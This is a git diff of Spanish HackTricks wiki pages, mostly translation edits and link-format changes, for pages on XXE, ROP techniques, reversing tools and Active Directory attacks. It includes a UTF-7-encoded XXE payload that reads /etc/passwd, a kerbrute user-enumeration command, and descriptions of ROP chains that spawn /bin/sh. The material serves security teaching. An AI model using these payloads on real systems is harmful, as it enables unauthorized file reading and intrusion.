Puedes usar la \[**"Receta de Codificación" de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transforma a UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -474,9 +476,9 @@ Ejemplo de DTD:
Este ejemplo está inspirado en [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (Formato de Intercambio de Archivos de Localización XML) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como un formato de intercambio común para herramientas de CAT (Traducción Asistida por Computadora).
XLIFF (XML Localization Interchange File Format) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como un formato de intercambio común para herramientas de CAT (Computer-Aided Translation).
### Análisis de Solicitud Ciega
### Análisis de Solicitudes Ciegas
Se realiza una solicitud al servidor con el siguiente contenido:
```xml
@ -671,7 +673,9 @@ XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si u
```
## Herramientas
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## Referencias
@ -684,5 +688,4 @@ XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si u
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

8
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
View File

@ -4,20 +4,22 @@
## Información Básica
Como se explica en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**.
Como se explicó en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**.
La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estructuras que necesita para resolver el símbolo especificado.
Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**).
Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`** con la dirección a `$'/bin/sh'`.
Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por read en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`** con la dirección a `$'/bin/sh'`.
> [!TIP]
> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv.md) o [SROP](srop-sigreturn-oriented-programming.md)) y no hay formas de filtrar direcciones de libc.
Puedes encontrar una mejor explicación sobre esta técnica en la segunda mitad del video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Estructuras

8
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
View File

@ -1,4 +1,4 @@
# SROP - Programación Orientada a Sigreturn
# SROP - Programación Orientada a la Retorno de Señal
{{#include ../../../banners/hacktricks-training.md}}
@ -13,7 +13,7 @@ La parte interesante es cómo **`sigreturn`** restaura el estado del programa: l
> [!CAUTION]
> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls:
Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
{{#ref}}
rop-syscall-execv.md
@ -21,7 +21,9 @@ rop-syscall-execv.md
Para una mejor explicación, consulta también:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Ejemplo

44
src/reversing/reversing-tools-basic-methods/README.md
View File

@ -43,11 +43,11 @@ Con un modelo de complemento integral y una API que extiende la herramienta para
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Puedes tenerlo en cualquier sistema operativo (puedes instalarlo directamente desde VSCode, no es necesario descargar el git. Haz clic en **Extensiones** y **busca ILSpy**).\
Si necesitas **descompilar**, **modificar** y **recompilar** de nuevo, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar método** para cambiar algo dentro de una función).
Si necesitas **descompilar**, **modificar** y **recompilar** de nuevo, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar Método** para cambiar algo dentro de una función).
### Registro de DNSpy
Para hacer que **DNSpy registre información en un archivo**, podrías usar este fragmento:
Para hacer que **DNSpy registre alguna información en un archivo**, podrías usar este fragmento:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -57,7 +57,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
Para depurar código usando DNSpy, necesitas:
Primero, cambia los **atributos de ensamblado** relacionados con la **depuración**:
Primero, cambiar los **atributos de la Asamblea** relacionados con la **depuración**:
![](<../../images/image (973).png>)
```aspnet
@ -78,7 +78,7 @@ Luego guarda el nuevo archivo a través de _**Archivo >> Guardar módulo...**_:
![](<../../images/image (602).png>)
Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o que algunas **variables no existan**.
Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o algunas **variables no existan**.
Luego, si tu aplicación .NET está siendo **ejecutada** por **IIS**, puedes **reiniciarla** con:
```
@ -125,22 +125,22 @@ Haz clic derecho en cualquier módulo en **Assembly Explorer** y haz clic en **S
![](<../../images/image (704).png>)
Luego, cuando comiences a depurar, **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
Luego, cuando comiences a depurar **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este método, no sé cómo.
### Usando x64dbg/x32dbg
- **Cargar rundll32** (64 bits en C:\Windows\System32\rundll32.exe y 32 bits en C:\Windows\SysWOW64\rundll32.exe)
- **Cambiar la línea de comandos** (_File --> Change Command Line_) y establecer la ruta de la dll y la función que deseas llamar, por ejemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- **Cambiar la Línea de Comando** (_File --> Change Command Line_) y establecer la ruta de la dll y la función que deseas llamar, por ejemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Cambiar _Options --> Settings_ y seleccionar "**DLL Entry**".
- Luego **iniciar la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de la dll de tu dll**. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción.
- Luego **iniciar la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de dll de tu dll**. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción.
Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg, puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**:
Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**:
![](<../../images/image (842).png>)
Luego, mirando esto, puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
Luego, mirando esto puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
## Aplicaciones GUI / Videojuegos
@ -150,13 +150,15 @@ Luego, mirando esto, puedes ver cuándo se detuvo la ejecución en la dll que de
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de front-end/reverse engineering para el depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de interfaz/reverse engineering para el Depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
[**Decompiler Explorer**](https://dogbolt.org/) es un front-end web para varios descompiladores. Este servicio web te permite comparar la salida de diferentes descompiladores en pequeños ejecutables.
[**Decompiler Explorer**](https://dogbolt.org/) es una interfaz web para varios descompiladores. Este servicio web te permite comparar la salida de diferentes descompiladores en pequeños ejecutables.
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
{{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## Shellcodes
@ -166,7 +168,7 @@ cheat-engine.md
Luego, necesitas **adjuntar un depurador** (Ida o x64dbg) al proceso y poner un **punto de interrupción en la dirección de memoria indicada** y **reanudar** la ejecución. De esta manera estarás depurando el shellcode.
La página de lanzamientos de github contiene zips con los lanzamientos compilados: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguiente enlace. Para compilarlo, simplemente **crea un proyecto en C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguiente enlace. Para compilarlo, simplemente **crea un proyecto C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
{{#ref}}
blobrunner.md
@ -174,7 +176,7 @@ blobrunner.md
### Depurando un shellcode con jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno, ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
![](<../../images/image (509).png>)
@ -184,7 +186,7 @@ Puedes descargar una versión compilada de [jmp2it en la página de lanzamientos
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) es la GUI de radare. Usando cutter puedes emular el shellcode e inspeccionarlo dinámicamente.
Ten en cuenta que Cutter te permite "Abrir archivo" y "Abrir shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo:
Ten en cuenta que Cutter te permite "Abrir Archivo" y "Abrir Shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo:
![](<../../images/image (562).png>)
@ -201,7 +203,7 @@ Puedes ver la pila, por ejemplo, dentro de un volcado hexadecimal:
### Desofuscando shellcode y obteniendo funciones ejecutadas
Deberías probar [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se **decodifica** a sí mismo en memoria.
Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se está **decodificando** a sí mismo en memoria.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -218,7 +220,7 @@ La opción **Create Dump** volcará el shellcode final si se realiza algún camb
### Desensamblando usando CyberChef
Sube tu archivo de shellcode como entrada y usa la siguiente receta para decompilarlo: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
Sube tu archivo de shellcode como entrada y usa la siguiente receta para descompilarlo: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
@ -249,7 +251,7 @@ Teniendo el **nombre** de las **funciones** que se están llamando, búscalas en
Para binarios compilados en Delphi puedes usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
Si tienes que hacer ingeniería inversa a un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Si tienes que revertir un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
@ -259,7 +261,7 @@ También es muy interesante porque si presionas un botón en la aplicación grá
## Golang
Si tienes que hacer ingeniería inversa a un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Si tienes que revertir un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python.
@ -380,7 +382,9 @@ Así que, en este desafío, conociendo los valores de los botones, necesitabas *
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
{{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## Cursos

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

4
src/stego/esoteric-languages.md
View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

4
src/todo/burp-suite.md
View File

@ -10,7 +10,9 @@
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Carga útil para ejecutar comandos y obtener la salida a través de solicitudes DNS a burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

6
src/todo/other-web-tricks.md
View File

@ -24,11 +24,13 @@ Registra un correo electrónico, antes de confirmarlo cambia el correo, luego, s
### Acceso al servicio interno de atención al cliente de empresas usando Atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Método TRACE
Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` repitiendo en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` replicando en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)

92
src/todo/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

54
src/windows-hardening/active-directory-methodology/README.md
View File

@ -14,15 +14,15 @@ Los conceptos clave dentro de **Active Directory** incluyen:
2. **Objeto** – Denota entidades dentro del directorio, incluyendo **usuarios**, **grupos** o **carpetas compartidas**.
3. **Dominio** – Sirve como un contenedor para objetos de directorio, con la capacidad de que múltiples dominios coexistan dentro de un **bosque**, cada uno manteniendo su propia colección de objetos.
4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común.
5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesta por varios árboles con **relaciones de confianza** entre ellos.
5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesto por varios árboles con **relaciones de confianza** entre ellos.
**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden:
**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizadas dentro de una red. Estos servicios comprenden:
1. **Servicios de Dominio** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo funcionalidades de **autenticación** y **búsqueda**.
2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros.
3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**.
4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión.
5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizado.
5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados.
6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**.
Para una explicación más detallada, consulta: [**TechTerms - Definición de Active Directory**](https://techterms.com/definition/active_directory)
@ -65,18 +65,18 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
- **Envenenar la red**
- Recolectar credenciales [**suplantando servicios con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Acceder al host [**abusando del ataque de retransmisión**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Acceder a un host [**abusando del ataque de retransmisión**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Recolectar credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Extraer nombres de usuario/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos de dominio y también de los disponibles públicamente.
- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** ([**lee esto**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
- Herramientas:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### Enumeración de usuarios
- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Enumeración anónima SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. **Nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -113,7 +113,7 @@ Ok, así que ya sabes que tienes un nombre de usuario válido pero no contraseñ
- [**ASREPRoast**](asreproast.md): Si un usuario **no tiene** el atributo _DONT_REQ_PREAUTH_, puedes **solicitar un mensaje AS_REP** para ese usuario que contendrá algunos datos encriptados por una derivación de la contraseña del usuario.
- [**Password Spraying**](password-spraying.md): Intentemos con las **contraseñas más comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!).
- Ten en cuenta que también puedes **rociar servidores OWA** para intentar acceder a los servidores de correo de los usuarios.
- Ten en cuenta que también puedes **spray servidores OWA** para intentar acceder a los servidores de correo de los usuarios.
{{#ref}}
password-spraying.md
@ -127,9 +127,9 @@ Podrías ser capaz de **obtener** algunos **hashes** de desafío para romper **e
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Relevo NTML
### Relay NTML
Si has logrado enumerar el directorio activo, tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías forzar ataques de relevo NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obtener acceso al entorno de AD.
Si has logrado enumerar el directorio activo, tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías forzar ataques de relay NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obtener acceso al entorno de AD.
### Robar Credenciales NTLM
@ -141,7 +141,7 @@ Si puedes **acceder a otras PC o recursos compartidos** con el **usuario nulo o
## Enumerando Active Directory CON credenciales/sesión
